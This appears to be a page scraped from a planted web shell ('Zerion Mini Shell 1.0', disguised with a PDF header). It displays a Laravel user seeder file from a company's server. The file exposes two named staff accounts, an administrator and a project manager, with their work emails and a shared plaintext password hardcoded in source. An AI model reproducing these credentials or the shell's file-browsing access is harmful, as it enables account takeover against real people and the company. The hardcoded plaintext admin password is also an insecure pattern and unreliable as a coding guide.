%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/database/seeds/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/database/seeds/UsersTableSeeder.php

<?php

use App\Models\Role;
use App\Models\User;
use Illuminate\Database\Seeder;

class UsersTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        $admin = Role::query()
                     ->where('name', Role::ADMIN)
                     ->first();

        /** @var User $adminUser */
        $adminUser = User::query()
                         ->create([
                             'name'         => 'Erdi',
                             'surname'      => 'Myftaraga',
                             'email'        => 'emy@greengeotechnics.com',
                             'is_confirmed' => true,
                             'is_enabled'   => true,
                             'password'     => '@gg2020!',
                         ]);
        $adminUser->assignRole($admin);

        $manager = Role::query()
                       ->where('name', Role::PM)
                       ->first();
        /** @var User $projectManager */
        $projectManager = User::query()
                              ->create([
                                  'name'         => 'Olsi',
                                  'surname'      => 'Koreta',
                                  'email'        => 'oko@greengeotechnics.com',
                                  'is_confirmed' => true,
                                  'is_enabled'   => true,
                                  'password'     => '@gg2020!',
                              ]);
        $projectManager->assignRole($manager);

    }
}

Zerion Mini Shell 1.0